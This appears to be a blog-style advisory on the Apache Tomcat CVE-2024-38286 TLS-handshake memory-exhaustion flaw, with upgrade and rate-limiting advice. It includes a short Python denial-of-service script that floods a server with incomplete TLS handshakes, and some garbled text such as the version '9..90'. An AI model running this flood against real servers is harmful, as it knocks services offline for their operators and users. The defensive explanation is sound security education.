A critical new security vulnerability—CVE-2024-38286—has been discovered in Apache Tomcat, one of the world’s most popular Java web servers. This issue lets malicious actors use up all your server’s resources by exploiting the TLS handshake, potentially knocking your Tomcat-powered web service offline.

References and where to learn more

If you use Tomcat in production—or even just in testing—read on to protect your apps!

What is CVE-2024-38286?

CVE-2024-38286 is an “Allocation of Resources Without Limits or Throttling” vulnerability, meaning Tomcat fails to set proper boundaries for how much memory a certain process can use. Under the right conditions, an attacker can abuse the TLS handshake phase to force Tomcat to eat up all available memory. This results in a dreaded OutOfMemoryError—your server grinds to a halt, and all services stop responding.

Let’s break it down step by step

1. Handshake Flooding: An attacker repeatedly opens new TLS connections or keeps existing ones in a state where the handshake isn’t completed.
2. Resource Consumption: For each incomplete handshake, Tomcat (through its networking code) allocates memory to track and process the handshake.
3. Memory Not Released: If a flood of handshakes never get completed or closed, these memory allocations persist.
4. Crash: Eventually, Tomcat’s Java process runs out of heap space, causing an OutOfMemoryError. All web requests halt until the process is restarted.

Here’s a super simplified Python script to simulate handshake flooding (for educational use only!)

import socket
import ssl
import threading

target_host = 'your.server.com'
target_port = 443

def flood_handshake():
    try:
        # Create a TLS/SSL socket
        context = ssl.create_default_context()
        s = socket.create_connection((target_host, target_port))
        # Start handshake, but don't finish it (simulate abrupt disconnection)
        tls_sock = context.wrap_socket(s, server_hostname=target_host, do_handshake_on_connect=False)
        # DO NOT call tls_sock.do_handshake() => handshake never completes
        # Leave connection open to tie up server resources
    except Exception as e:
        pass  # Ignore errors

threads = []
for _ in range(100):  # Spin up many such incomplete connections
    t = threading.Thread(target=flood_handshake)
    t.start()
    threads.append(t)

Important: Modern network layer protections may limit you, but this demonstrates how trivial the abuse can be if server-side controls are missing. The real danger is with attacker-controlled botnets.

Complete Denial of Service (DoS): The server stops working, ALL applications go offline.

- No Authentication Needed: Attack happens at the network/TLS level, before any app logic kicks in.

How to Fix It

Upgrade!

Tomcat 9: Upgrade to 9..90 or later

Download links:
- Tomcat official downloads page

Temporary Mitigations (If You Can’t Patch Immediately)

- Reverse Proxies or Load Balancers: Put NGINX, HAProxy, or Apache HTTPD in front, and configure limits on failed handshakes or connection rates
- Network-level Rate Limiting: Use firewall or security group rules to restrict the number of incoming connections per client IP

Monitor Java Heap Usage: Use JMX or external APM tools to alert when heap usage spikes

But these do not remove the root vulnerability!

References

- Official Apache Tomcat security advisory (CVE-2024-38286)
- NIST NVD entry for CVE-2024-38286
- Tomcat Downloads (for fixed versions)
- OutOfMemoryError – Causes and Fixes (Oracle)
- TLS Handshake Basics

Conclusion

CVE-2024-38286 is a textbook example of why resource limits matter in network programs.
Without proper throttling, a basic protocol-level action like the TLS handshake can burn through your server resources, even before a single line of your business logic runs.

If you run any affected Tomcat versions, act fast:
Upgrade immediately, or you risk waking up to a down production server and possible customer outages.

Stay safe!

*If you found this exclusive deep dive helpful, consider sharing it to help others secure their Tomcat servers.*

Timeline

Published on: 11/07/2024 08:15:13 UTC
Last modified on: 11/08/2024 19:01:03 UTC